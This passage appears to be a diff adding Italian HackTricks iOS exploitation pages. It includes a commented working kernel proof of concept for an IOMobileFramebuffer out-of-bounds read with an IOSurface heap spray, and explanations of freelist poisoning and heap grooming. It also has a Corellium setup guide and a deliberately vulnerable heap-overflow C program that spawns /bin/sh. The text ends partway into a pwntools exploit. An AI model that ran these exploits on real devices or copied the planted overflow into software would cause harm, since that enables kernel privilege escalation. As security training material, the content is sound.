- `get_appleclcd_uc()` trova il servizio **AppleCLCD** e apre **user client type 2**. AppleCLCD e IOMobileFramebuffer condividono la stessa external-methods table; type 2 espone **selector 83**, il metodo vulnerabile. **Questo è il punto d'ingresso per il bug.** E_POC/)
**Perché 83 è importante:** il percorso decompilato è:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Dentro quest'ultima chiamata, il codice **usa il tuo 32-bit scalar come indice di un array senza alcun controllo dei limiti**, recupera un puntatore da **`this + 0xA58 + index*8`**, e **lo passa come `IOSurface*`** a `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Questa è la OOB + type confusion.**
2. **The heap spray (perché IOSurface appare qui)**
- `do_spray()` usa **`IOSurfaceRootUserClient`** per **creare molte IOSurface** e **spray small values** (`s_set_value` style). Questo riempie gli heap kernel vicini con **puntatori a oggetti IOSurface validi**.
- **Obiettivo:** quando selector 83 legge oltre la tabella legittima, lo **slot OOB probabilmente contiene un puntatore a una delle tue (reali) IOSurface**---così il successivo dereference **non va in crash** e **riesce**. IOSurface è una primitive classica e ben documentata per il kernel spray, e il post di Saar elenca esplicitamente i metodi **create / set_value / lookup** usati per questo flusso di exploitation.
3. **Il trucco "offset/8" (cos'è davvero quell'indice)**
- In `trigger_oob(offset)`, imposti `scalars[0] = offset / 8`.
- **Perché dividere per 8?** Il kernel fa **`base + index*8`** per calcolare quale **slot di dimensione pointer** leggere. Stai scegliendo **"numero di slot N"**, non un offset in byte. **Otto byte per slot** su 64-bit.
- Quell'indirizzo calcolato è **`this + 0xA58 + index*8`**. Il PoC usa una costante grande (`0x1200000 + 0x1048`) semplicemente per andare **molto oltre i limiti** in una regione che hai cercato di **popolare densamente con puntatori IOSurface**. **Se lo spray "vince", lo slot che colpisci è un valido `IOSurface*`.**
4. **Cosa restituisce selector 83 (questa è la parte sottile)**
- The call is:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Internamente, dopo che viene recuperato il puntatore OOB, il driver chiama\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Risultato:** **`output_scalars[0]` è un Mach port name (u32 handle) nel tuo task** per *qualsiasi puntatore oggetto tu abbia fornito via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** Questo esatto comportamento (copia di un *port name*) è mostrato nella decompilazione di Saar.
**Perché è utile:** con un **port name** per la (supposta) IOSurface, puoi ora usare i **metodi IOSurfaceRoot** come:
- **`s_lookup_surface_from_port` (method 34)** → trasformare la porta in un **surface ID** su cui puoi operare tramite altre chiamate IOSurface, e
- **`s_create_port_from_surface` (method 35)** se hai bisogno dell'inverso.\
Saar segnala esattamente questi metodi come passo successivo. **Il PoC dimostra che puoi "costruire" un handle IOSurface legittimo da uno slot OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
Questo [PoC è stato preso da qui](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) e sono stati aggiunti alcuni commenti per spiegare i passaggi:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Riferimenti
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

260
src/binary-exploitation/ios-exploiting/README.md Normal file
View File

@ -0,0 +1,260 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** in iOS funziona richiedendo che ogni pezzo di codice eseguibile (apps, libraries, extensions, ecc.) sia firmato crittograficamente con un certificato rilasciato da Apple. Quando il codice viene caricato, iOS verifica la firma digitale rispetto alla root di fiducia di Apple. Se la firma è invalida, mancante o modificata, il sistema rifiuta di eseguirlo. Questo impedisce agli attacker di injectare codice malevolo in app legittime o eseguire binari non firmati, bloccando la maggior parte delle catene di exploit che si basano sull'esecuzione di codice arbitrario o manomesso.
- **CoreTrust** è il sottosistema iOS responsabile dell’enforcement della code signing a runtime. Verifica direttamente le firme usando il certificato root di Apple senza appoggiarsi a store di trust in cache, il che significa che possono eseguire solo binari firmati da Apple (o con entitlements validi). CoreTrust assicura che anche se un attacker manomette un'app dopo l'installazione, modifica librerie di sistema o tenta di caricare codice non firmato, il sistema bloccherà l'esecuzione a meno che il codice non sia ancora correttamente firmato. Questa applicazione rigorosa chiude molte vie post-exploitation che le versioni più vecchie di iOS permettevano tramite controlli di firma più deboli o bypassabili.
- **Data Execution Prevention (DEP)** marca regioni di memoria come non eseguibili a meno che non contengano esplicitamente codice. Questo impedisce agli attacker di injectare shellcode in regioni dati (come stack o heap) ed eseguirlo, costringendoli a usare tecniche più complesse come ROP.
- **ASLR (Address Space Layout Randomization)** randomizza gli indirizzi di memoria di codice, libraries, stack e heap a ogni esecuzione del sistema. Questo rende molto più difficile per gli attacker prevedere dove si trovino istruzioni o gadget utili, interrompendo molte catene di exploit che dipendono da layout di memoria fissi.
- **KASLR (Kernel ASLR)** applica lo stesso concetto di randomizzazione al kernel di iOS. Mescolando l'indirizzo base del kernel ad ogni boot, impedisce agli attacker di localizzare in modo affidabile funzioni o strutture del kernel, aumentando la difficoltà di exploit a livello kernel che altrimenti guadagnerebbero il controllo completo del sistema.
- **Kernel Patch Protection (KPP)**, noto anche come **AMCC (Apple Mobile File Integrity)** in iOS, monitora continuamente le pagine di codice del kernel per assicurarsi che non siano state modificate. Se viene rilevata una manomissione—come un exploit che tenta di patchare funzioni del kernel o inserire codice malevolo—il dispositivo andrà immediatamente in panic e si riavvierà. Questa protezione rende molto più difficili gli exploit kernel persistenti, poiché gli attacker non possono semplicemente hookare o patchare istruzioni del kernel senza provocare un crash di sistema.
- **Kernel Text Readonly Region (KTRR)** è una feature di sicurezza basata su hardware introdotta sui dispositivi iOS. Usa il memory controller della CPU per marcare la sezione di codice (text) del kernel come permanentemente read-only dopo il boot. Una volta bloccata, anche il kernel stesso non può modificare quella regione di memoria. Questo impedisce agli attacker—e persino al codice privilegiato—from patchare istruzioni del kernel a runtime, chiudendo una grande classe di exploit che si basavano sulla modifica diretta del codice del kernel.
- **Pointer Authentication Codes (PAC)** usa firme crittografiche incorporate nei bit inutilizzati dei pointer per verificarne l'integrità prima dell'uso. Quando un pointer (come un return address o function pointer) viene creato, la CPU lo firma con una chiave segreta; prima di dereferenziare, la CPU verifica la firma. Se il pointer è stato manomesso, il controllo fallisce e l'esecuzione si ferma. Questo impedisce agli attacker di forgiare o riusare pointer corrotti in exploit di memory corruption, rendendo tecniche come ROP o JOP molto più difficili da eseguire in modo affidabile.
- **Privilege Access never (PAN)** è una feature hardware che impedisce al kernel (modalità privilegiata) di accedere direttamente alla memoria user-space a meno che non abiliti esplicitamente l'accesso. Questo blocca gli attacker che hanno ottenuto esecuzione di codice nel kernel dal leggere o scrivere facilmente la memoria user per escalation di privilegi o furto di dati sensibili. Imponendo una netta separazione, PAN riduce l'impatto degli exploit kernel e blocca molte tecniche comuni di escalation di privilegi.
- **Page Protection Layer (PPL)** è un meccanismo di sicurezza di iOS che protegge regioni critiche di memoria gestite dal kernel, specialmente quelle relative a code signing e entitlements. Applica protezioni di scrittura stringenti usando la MMU (Memory Management Unit) e controlli aggiuntivi, assicurando che anche il codice kernel privilegiato non possa modificare arbitrariamente pagine sensibili. Questo impedisce agli attacker che ottengono esecuzione a livello kernel di manomettere strutture critiche per la sicurezza, rendendo persistence e bypass della code-signing significativamente più difficili.
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
Il kernel usava un **zone allocator** (`kalloc`) diviso in "zone" di dimensione fissa.
Ogni zona memorizzava solo allocazioni di una singola size class.
From the screenshot:
| Nome Zona | Dimensione Elemento | Esempio d'uso |
|----------------------|---------------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | Strutture kernel molto piccole, pointer. |
| `default.kalloc.32` | 32 bytes | Piccole strutture, object headers. |
| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. |
| `default.kalloc.128` | 128 bytes | Oggetti medi come parti di `OSObject`. |
| `default.kalloc.256` | 256 bytes | IPC messages più grandi, array, strutture device. |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | Strutture grandi, IOSurface/graphics metadata. |
Come funzionava:
- Ogni richiesta di allocazione veniva **arrotondata per eccesso** alla dimensione della zona più vicina.
(E.g., una richiesta di 50 byte finiva nella zona `kalloc.64`).
- La memoria in ogni zona veniva mantenuta in una **free list** — i chunk liberati dal kernel tornavano in quella zona.
- Se sovrascrivevi un buffer da 64 byte, avresti sovrascritto il **prossimo oggetto nella stessa zona**.
Per questo **heap spraying / feng shui** era così efficace: potevi prevedere i vicini degli oggetti spruzzando allocazioni della stessa size class.
### La freelist
Dentro ogni zona kalloc, gli oggetti liberati non venivano restituiti direttamente al sistema — andavano in una freelist, una linked list di chunk disponibili.
- Quando un chunk veniva freed, il kernel scriveva un pointer all'inizio di quel chunk → l'indirizzo del prossimo chunk libero nella stessa zona.
- La zona manteneva un puntatore HEAD al primo chunk libero.
- L'allocazione usava sempre l'HEAD corrente:
1. Pop HEAD (restituisce quella memoria al chiamante).
2. Aggiorna HEAD = HEAD->next (memorizzato nell'header del chunk liberato).
- Il free rimetteva i chunk indietro:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
Quindi la freelist era semplicemente una linked list costruita dentro la memoria liberata stessa.
Stato normale:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### Sfruttare la freelist
Poiché i primi 8 byte di un free chunk = freelist pointer, un attaccante potrebbe corromperlo:
1. **Heap overflow** in un freed chunk adiacente → sovrascrivere il suo “next” pointer.
2. **Use-after-free**: scrivere in un freed object → sovrascrivere il suo “next” pointer.
Poi, alla successiva allocazione di quella dimensione:
- L'allocator estrae il corrupted chunk.
- Segue il “next” pointer fornito dall'attaccante.
- Restituisce un pointer a memoria arbitraria, consentendo fake object primitives o targeted overwrite.
Esempio visivo di freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
Questo design del freelist rese l'exploitation altamente efficace prima dell'hardening: vicini prevedibili derivanti da heap sprays, raw pointer freelist links e l'assenza di separazione per tipo permettevano agli attaccanti di escalare bug UAF/overflow fino al controllo arbitrario della memoria kernel.
### Heap Grooming / Feng Shui
The goal of heap grooming is to **modellare il layout dell'heap** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
In questo modo, quando avviene la corruzione di memoria, l'attaccante può sovrascrivere in modo affidabile l'oggetto vittima con dati controllati.
**Passaggi:**
1. Spray allocations (fill the holes)
- Col tempo, il kernel heap si frammenta: alcune zone hanno buchi dove vecchi oggetti sono stati freed.
- L'attaccante prima esegue molte dummy allocations per riempire questi spazi, così l'heap diventa "compattato" e prevedibile.
2. Force new pages
- Una volta che i buchi sono riempiti, le allocate successive devono provenire da nuove pagine aggiunte alla zona.
- Pagine fresche significano oggetti raggruppati insieme, non sparsi nella memoria frammentata.
- Questo dà all'attaccante un controllo molto migliore sui neighbors.
3. Place attacker objects
- L'attaccante ora effettua un nuovo spray, creando molti attacker-controlled objects in quelle nuove pagine.
- Questi oggetti sono prevedibili per dimensione e posizionamento (dato che appartengono alla stessa zone).
4. Free a controlled object (make a gap)
- L'attaccante deliberateamente free-a uno dei propri oggetti.
- Ciò crea un "buco" nell'heap, che l'allocator riutilizzerà per la successiva allocazione di quella dimensione.
5. Victim object lands in the hole
- L'attaccante forza il kernel ad allocare l'oggetto vittima (quello che vuole corrompere).
- Poiché il buco è la prima slot disponibile nella freelist, la vittima viene posizionata esattamente dove l'attaccante aveva freed il proprio oggetto.
6. Overflow / UAF into victim
- Ora l'attaccante ha attacker-controlled objects attorno alla vittima.
- Sovrascrivendo per overflow da uno dei propri oggetti (o riutilizzando uno freed), può sovrascrivere in modo affidabile i campi di memoria della vittima con valori scelti.
**Perché funziona**:
- Predictability dell'allocator di zona: le allocate della stessa dimensione provengono sempre dalla stessa zone.
- Comportamento della freelist: le nuove allocate riutilizzano per prime il chunk più recentemente freed.
- Heap sprays: l'attaccante riempie la memoria con contenuti prevedibili e controlla il layout.
- Risultato finale: l'attaccante controlla dove l'oggetto vittima atterra e quali dati si trovano accanto ad esso.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple ha rinforzato l'allocator e ha reso il **heap grooming molto più difficile**:
### 1. From Classic kalloc to kalloc_type
- **Before**: esisteva una singola zona `kalloc.<size>` per ogni classe di dimensione (16, 32, 64, … 1280, ecc.). Qualsiasi oggetto di quella dimensione veniva allocato lì → gli attacker objects potevano stare accanto a privileged kernel objects.
- **Now**:
- Kernel objects sono allocati da **typed zones** (`kalloc_type`).
- Ogni tipo di oggetto (es., `ipc_port_t`, `task_t`, `OSString`, `OSData`) ha la propria zona dedicata, anche se hanno la stessa dimensione.
- La mappatura tra object type ↔ zone è generata dal **kalloc_type system** a compile time.
Un attaccante non può più garantire che dati controllati (`OSData`) finiscano adiacenti a oggetti kernel sensibili (`task_t`) della stessa dimensione.
### 2. Slabs and Per-CPU Caches
- L'heap è diviso in **slabs** (pagine di memoria suddivise in chunk di dimensione fissa per quella zona).
- Ogni zona ha una **per-CPU cache** per ridurre la contention.
- Allocation path:
1. Prova la per-CPU cache.
2. Se vuota, prendi dalla global freelist.
3. Se la freelist è vuota, allocare un nuovo slab (una o più pagine).
- **Vantaggio**: questa decentralizzazione rende gli heap sprays meno deterministici, dato che le allocate possono essere soddisfatte dalle cache di CPU diverse.
### 3. Randomization inside zones
- All'interno di una zona, gli elementi freed non vengono restituiti in semplice ordine FIFO/LIFO.
- L'XNU moderno usa **encoded freelist pointers** (stile safe-linking come Linux, introdotto ~iOS 14).
- Ogni freelist pointer è **XOR-encoded** con un cookie segreto per zona.
- Questo impedisce agli attaccanti di forgiare un fake freelist pointer se ottengono un write primitive.
- Alcune allocate sono **randomizzate nella loro collocazione all'interno di uno slab**, quindi lo spraying non garantisce adiacenza.
### 4. Guarded Allocations
- Alcuni kernel objects critici (es., credentials, strutture di task) sono allocati in **guarded zones**.
- Queste zone inseriscono **guard pages** (memoria non mappata) tra slab o usano **redzones** attorno agli oggetti.
- Qualsiasi overflow nella guard page causa un fault → panic immediato anziché corruzione silenziosa.
### 5. Page Protection Layer (PPL) and SPTM
- Anche se controlli un oggetto freed, non puoi modificare tutta la memoria kernel:
- **PPL (Page Protection Layer)** impone che certe regioni (es., code signing data, entitlements) siano **read-only** anche per il kernel stesso.
- Su dispositivi **A15/M2+**, questo ruolo è sostituito/migliorato da **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
- Questi layer imposti via hardware significano che gli attaccanti non possono eseguire l'escalation da una singola corruzione dell'heap a patch arbitrarie di strutture di sicurezza critiche.
### 6. Large Allocations
- Non tutte le allocate passano per `kalloc_type`.
- Richieste molto grandi (sopra ~16KB) bypassano le typed zones e sono servite direttamente dalla **kernel VM (kmem)** tramite page allocations.
- Queste sono meno prevedibili, ma anche meno sfruttabili, dato che non condividono slab con altri oggetti.
### 7. Allocation Patterns Attackers Target
Anche con queste protezioni, gli attaccanti cercano ancora:
- **Reference count objects**: se puoi manomettere i contatori retain/release, puoi causare use-after-free.
- **Objects with function pointers (vtables)**: corromperne uno può ancora portare a control flow.
- **Shared memory objects (IOSurface, Mach ports)**: questi sono ancora obiettivi perché fanno da ponte tra user ↔ kernel.
Ma — a differenza di prima — non puoi semplicemente sprayare `OSData` e aspettarti che sia vicino a un `task_t`. Serve **bug specifici per tipo** o **info leaks** per avere successo.
### Example: Allocation Flow in Modern Heap
Supponiamo che userspace invochi IOKit per allocare un oggetto `OSData`:
1. **Type lookup** → `OSData` mappa alla zona `kalloc_type_osdata` (size 64 bytes).
2. Controlla la per-CPU cache per elementi liberi.
- Se trovati → ritorna uno.
- Se vuota → vai alla global freelist.
- Se la freelist è vuota → allocare un nuovo slab (pagina di 4KB → 64 chunk da 64 bytes).
3. Ritorna il chunk al chiamante.
**Freelist pointer protection**:
- Ogni chunk freed memorizza l'indirizzo del prossimo chunk libero, ma codificato con una chiave segreta.
- Sovrascrivere quel campo con dati controllati dall'attaccante non funzionerà a meno di conoscere la chiave.
## Tabella di confronto
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Scarica il DMG di BinDiff da [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) e installalo.
Apri Ghidra con `ghidraRun` e vai su `File` --> `Install Extensions`, premi il pulsante add e seleziona il percorso `/Applications/BinDiff/Extra/Ghidra/BinExport` e clicca OK e installalo anche se c'è una mismatch di versione.
### Using BinDiff with Kernel versions
1. Vai alla pagina [https://ipsw.me/](https://ipsw.me/) e scarica le versioni iOS che vuoi diffare. Questi saranno file `.ipsw`.
2. Decomprimi finché non ottieni il formato bin del kernelcache di entrambi i file `.ipsw`. Hai informazioni su come farlo in:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Apri Ghidra con `ghidraRun`, crea un nuovo progetto e carica i kernelcaches.
4. Apri ciascun kernelcache così che vengano analizzati automaticamente da Ghidra.
5. Poi, nella project Window di Ghidra, clic destro su ogni kernelcache, seleziona `Export`, scegli il formato `Binary BinExport (v2) for BinDiff` ed esportali.
6. Apri BinDiff, crea un nuovo workspace e aggiungi un nuovo diff indicando come primary file il kernelcache che contiene la vulnerabilità e come secondary file il kernelcache patched.
---
## Finding the right XNU version
Se vuoi controllare per vulnerabilità in una versione specifica di iOS, puoi verificare quale versione di XNU quella release di iOS usa su [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
Per esempio, le versioni `15.1 RC`, `15.1` e `15.1.1` usano la versione `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

78
src/binary-exploitation/ios-exploiting/ios-corellium.md Normal file
View File

@ -0,0 +1,78 @@
# iOS Come connettersi a Corellium
{{#include ../../banners/hacktricks-training.md}}
## **Prerequisiti**
- Una Corellium iOS VM (jailbroken o no). In questa guida presumiamo che tu abbia accesso a Corellium.
- Strumenti locali: **ssh/scp**.
- (Opzionale) **SSH keys** aggiunte al tuo progetto Corellium per accessi senza password.
## **Connettersi alla VM iPhone da localhost**
### A) **Quick Connect (senza VPN)**
0) Aggiungi la tua ssh key in **`/admin/projects`** (consigliato).
1) Apri la pagina del dispositivo → **Connect**
2) **Copia il Quick Connect SSH command** mostrato da Corellium e incollalo nel tuo terminale.
3) Inserisci la password o usa la tua key (consigliato).
### B) **VPN → SSH diretto**
0) Aggiungi la tua ssh key in **`/admin/projects`** (consigliato).
1) Pagina del dispositivo → **CONNECT** → **VPN** → scarica `.ovpn` e connettiti con qualsiasi VPN client che supporti la modalità TAP. (Controlla [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) se hai problemi.)
2) Effettua SSH all'indirizzo **10.11.x.x** della VM:
```bash
ssh root@10.11.1.1
```
## **Caricare un native binary & eseguirlo**
### 2.1 **Caricamento**
- Se Quick Connect ti ha fornito un host/port:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- Se usi VPN (10.11.x.x):
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **Caricare e installare un'app iOS (.ipa)**
### Percorso A — **Web UI (più veloce)**
1) Pagina Device → scheda **Apps** → **Install App** → seleziona il tuo `.ipa`.
2) Dalla stessa scheda puoi **avviare/terminare/disinstallare**.
### Percorso B — **Automatizzato tramite Corellium Agent**
1) Usa l'API Agent per **upload** e poi **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Percorso C — **Non-jailbroken (proper signing / Sideloadly)**
- Se non hai un profilo di provisioning, usa **Sideloadly** per rifirmare con il tuo Apple ID, oppure effettua l'accesso in Xcode.
- Puoi anche esporre la VM a Xcode usando **USBFlux** (vedi §5).
- Per log/comandi rapidi senza SSH, usa la **Console** del dispositivo nell'UI.
## **Extra**
- **Port-forwarding** (fa sì che la VM sembri locale per altri strumenti):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: usa l'**LLDB/GDB stub** address mostrato in fondo alla pagina del dispositivo (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: presenta la VM a **Xcode/Sideloadly** come un dispositivo cablato.
## **Problemi comuni**
- **Proper signing** è richiesto sui dispositivi **non-jailbroken**; unsigned IPAs non si avvieranno.
- **Quick Connect vs VPN**: Quick Connect è il più semplice; usa **VPN** quando hai bisogno che il dispositivo sia nella tua rete locale (es., local proxies/tools).
- **No App Store** on Corellium devices; porta i tuoi (re)signed IPAs.
{{#include ../../banners/hacktricks-training.md}}

205
src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md Normal file
View File

@ -0,0 +1,205 @@
# iOS Come connettersi a Corellium
{{#include ../../banners/hacktricks-training.md}}
## Codice vulnerabile
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
Compilalo con:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> Questo exploit imposta la variabile d'ambiente `MallocNanoZone=0` per disabilitare la NanoZone. Questo è necessario per ottenere allocazioni adiacenti quando si chiama `malloc` con piccole dimensioni. Senza questo, diversi mallocs saranno allocati in zone diverse e non saranno adiacenti e quindi l'overflow non funzionerà come previsto.
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
